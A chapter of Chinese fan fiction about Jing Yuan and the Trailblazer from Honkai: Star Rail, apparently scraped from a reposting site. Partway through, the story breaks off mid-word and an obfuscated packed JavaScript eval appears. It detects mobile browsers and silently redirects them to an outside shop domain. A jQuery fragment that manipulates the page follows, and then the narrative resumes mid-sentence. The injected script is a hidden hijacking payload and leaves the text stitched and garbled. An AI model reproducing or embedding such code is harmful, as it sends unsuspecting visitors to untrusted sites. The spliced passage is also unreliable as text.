8.太阳
    其实挺巧的,开拓者唱的这首歌他前两天才放进收藏夹。

    人人都知道景元在罗浮当了快八百年的将军,但人人见他的时候又总会忘记他已经是个八百岁高龄的老年人。

    因此,他的喜好与不过一岁半大的开拓者相似,好像也不是什么稀奇的事。

    不过说正经的,他景元要是没有一颗什么都能看,什么都听得进,也什么都不在乎的心,早八百年前就该堕入魔阴了。

    这首歌被推到他的日推里纯属意外,是一首不算热门,但也不是很冷的歌。

    现在想想,说不定就是开拓者收藏后被推送机制推给了她列表好友。

    当时将军刚办完垒成山高的案牍,打开日推在罗浮杂俎上逛闲逛。

    他其实什么也没听,什么也没看,纯粹大脑放空休息一下,冷不丁听见一句“没人能终生伟大/除非他不曾存活”,倒是有点意思。

    他打开听歌软件的界面,又把这首歌拖到头重新播放,然后点开争论不休的评论区。

    现在的APP会自动连接玉兆定位,评论区都是地区特供。

    底下的评论要么在争论作词者是不是末王的信徒,要么说这哀乐音调不宜多听,听多了会加快人步入魔阴身的进度。

    倒是最顶上的评论引得一致赞同,说写这首歌的人一定是短生种。

    底下的回复建起高楼,有的追着骂说我们仙舟人怎么写不出来了,有的说求求你删掉吧我有个仙舟人朋友破防了。

    仙舟起行千万年,自药师处求得长生后,文学发展便逐渐陷入了停滞和怪圈。

    一开始短生种乍得长生无限感慨,如同喷薄的岩浆涌泉很是兴旺了一段时间喜气洋洋走路带风好像能给每一个人好脸色的欢愉年代。

    但后来魔阴身出现了,于是表达痛苦的咯噔文学又占了主流。这可笑在真正堕入魔阴的人是不可能写出像样的文字的,所有的文学都只是作者模仿揣测的想法而已。

    再后来一切都成为寻常。

    所有仙舟人出生便知道,自己也有百岁千岁的寿命,也知道最终有一天会变成满身冒叶子的魔阴身。

    这种平淡过了很多年,对长生种来说也许就是一眨眼吧,他们发现再也没有人能写出像样的诗歌了。

    时间、对时间的哀叹、对未来的期望,这本是文学作品中永恒的题材。

    多少风流往事须以疏忽百年作底,多少意气风发都要以迟暮为结局。

    可仙舟人失去转瞬平生,失去破而后立。他们被禁锢在稳妥和可能永远都达不到的终点之间。

    所以他们写不出来这样冷酷的浪漫。

    还有的在吵评论的用词,毕竟最近一直在宣传避免歧视用语。

    啊,大闹疲惫但无法停止思考的神策将军终于反应过来,那个避免歧视用词的法案还是自己过了手签字再发下去的。

    短生种、化外民,论及使用这些词语的频率,将军才是那个根深蒂固的惯犯。毕竟他这么讲了快八百年,而且潜意识里根本不觉得这是一个歧视的用语。

    没办法嘛,总有惊艳的人会更改你对某些词语、概念的意识。

    对景元而言提及短生种他第一时间也只会想起应星也是短生种,但是百冶大人真的很厉害,比好多人都厉害。

    不仅丹恒七百年后还能追加好评,连他对着随身行军用了这么多年的阵刀也得敬畏地说一句巧夺天工。

    宁如飞萤赴火,不作樗木长春。

    也只有这样的人才配得上使用帝弓司命的光矢余烬。

    也只有短生种才能在那时候就慨叹“浮名浮利,虚苦劳神。叹隙中驹,石中火,梦中身”。

    这何尝不是一种短生种对他们的蔑视。

    毕竟景元他们这样的长生种需要花百年千年才能在某一瞬中体会到这些简洁的词语之下隐藏的巨大的可以撼动灵魂的情感。

    开拓者曾经在黑塔的空间站见证过一个用一生去追一瞬的故事。

    她后来来到罗浮结识了西衍先生。除开自己拯救罗浮的那一段,她也讲过一些其他的经历。

    西衍听她讲了那个故事,只是感慨不大值得,却没有多说什么。

    这就是仙舟,平静的凝固的一眼望到头的连话本子里英雄结局都是固定套路的。

    所以景元蛮喜欢开拓者这件事倒也不足为奇了。

    她身上都有景元小时候的影子,皮实、狡黠、随心所欲,且知道无论如何都有人收拾残局的胆大包天。就算她真的闯出什么祸,小浣熊可是从来扛着球棒就豁出命去拼的。

    长辈是不会讨厌这样的孩子的,尤其她身边还有另一个可爱美少女的时候。

    这俩失忆人士一个古灵精怪,一个活泼开朗,带得丹恒都变得外向一些。无论是是从前见过的丹枫,还是把他送走的时候,景元都没在他身上见过如同现在一般的自在。

    那次他师父非要云五再度聚首,接着二话不说又和刃打成一团的时候,景元本着眼不见心不烦的态度抬头望着雨别雕像。

    已经磨损的石像依旧能看出同丹恒的相似相貌。

    那青年手足无措地站在他斜对面,有一种闯入不属于自己世界的慌乱。

    景元忽然想起仙舟先人有一种说法叫鱼跃龙门。

    原来龙也是鱼,饮月君、龙尊也不过是一尾困在网里的鱼。

    是我把他放走了,景元想,总归他现在得到了自由。

    他悄悄地叹了一口气,没让任何人听见,心情又奇异地好了起来。

    至少丹恒最终找到了新的归宿,即便不能再作朋友景元也会因他的幸福而感到幸福。

    就好像星核猎手恶名在外,景元见到那位身家贵重的老熟人时心里由衷还是会觉得至少人活着。

    这事不太尊重他这位年轻哥哥的遗愿,可不敢教人知道,不然免不了一场吵的。

    好心态拯救男人一生,没点小确幸凡事往好处想的功夫,最先犯病的就应该是他景元了。

    只是为什么你又把这首普通的歌曲拖进了收藏夹?

    又为什么一直在单曲循环?

    我稍微幻想一下当初如果没有发生意外就这样跑去当巡海游侠的生活总不犯法,景元对自己说。

    是它里头自己唱“那些原初的/赤裸的怦然地/汇成光流的河奔赴过几十万光年/只是为从你眼底划过”,教人平白想起浩瀚星海。

    虽说不要吃代餐,代到最后一无所有,但没有人有权力阻止仙舟将军回忆一下旧日。

    毕竟他已经勤勤恳恳老老实实当了七百年的太阳了。

    星核

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13790097|144752||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    精不犯傻的时候是个好星核精。她老实地唱,没听见将军喊停愣是憋着往上上自己显然上不去的高音。

    还是飞霄实在听不惯这种哀哀戚戚的调子一掌拍在她背后,“难怪鬼伶偏偏看中你做徒弟,诶像我是真学不了一点。”

    甭管持明调还是朱明戏都慢腾腾的,一个字绕许多个弯,对于生命每分每秒都珍贵的天击将军来说实在是一个词——听不懂。

    没办法,她先天文化水平起点不同。之前拜狐英那事,椒大夫就能说这是同人民站在一起,证明群众路线的正确性,是仙舟战胜历史必然性的唯一法宝。

    但换作飞霄来,她只能憋出一句随他们喜欢。

    哦,她又忘了,现在她被椒丘治好了,以后她也有了和大家一样多的时间了。

    真是瞎子一朝得见光明,呸,我在想些什么地狱笑话。狐狸摇摇脑袋,搂住被她拍得摇晃的小浣熊大声宣布今晚还要吃这家的火锅。

    开拓者的脑子在这方面缺根弦,她并没有就势下坡说什么只有自己知道店名愿意效劳,反而傻愣愣地拿出手机把那家店铺的连接发给了飞霄。

    “这家吗?我看评论说也不是很好吃啊?”

    “不好吃你端过来?”

    “是将军说的随便找一家反正就是给椒丘闻个味道,还催得很急,我就找了个最近最快的。”星挠头。

    “等等,那谁把菜吃完了?”

    大家的视线一并汇聚到正在摸着肚子打饱嗝的云璃身上。

    小猫用手蹭掉嘴上的红油,“爷爷一直教我不要浪费食物。”

    气氛被这小孩子的理直气壮搅动重新变得松快起来,倒真变成了一个探讨晚上吃什么的短暂会议。

    “那便去吃顿好的。我知道长乐天附近有一家私房不错。”景元晃了晃手里的玉兆,显然动用了一点将军的特权,“我请客。”

    椒丘下意识的工作辞令还没说出来,原谅他受伤失血过多脑子转得没那么快。

    三月七倒是先反应,“啊,这多不好,要将军破费。”

    “诶,诸位此次为罗浮立下汗马功劳,于公于私景某都该致以感谢。不过是一顿晚饭,还吃不穷景元将军的俸禄。”白猫的大猫眯着眼睛,谁看了都只会觉得软绵绵、暖呼呼,让人不能拒绝地想要陷入他的陷阱里。

    大家于是一致同意了将军的盛情邀请,抛下伤势最重的两个病号椒丘、彦卿只顾自己快乐去了。

    椒丘作为一个成年人倒还好,除了尾巴不太受控制地敲了敲床板,展现了一位成年人该有的自制力。

    又或者是因为他的长耳朵先听到了灵砂的鞋跟声。

    彦卿就不太一样了,金色的眼睛可怜巴巴地望着,显然不能接受被抛弃在病房的事实。

    小孩子向来会拿捏监护人,不然也不能每个月都顺利得将军接济。

    景元无奈,“欸,那也得先过问灵砂司鼎,如若无碍便同我们一起去。”

    “哦?是谁要问我什么?”新任司鼎卷着一身火气进了病房。

    星突然就有了急事,和三月七你一言我一语地挪到了门外,朝其他人做了个晚上见的口型后逃之夭夭。

    谁知道她是不是真有急事。

    或者只是因为她沉寂的手机又开始连续震动了也有可能。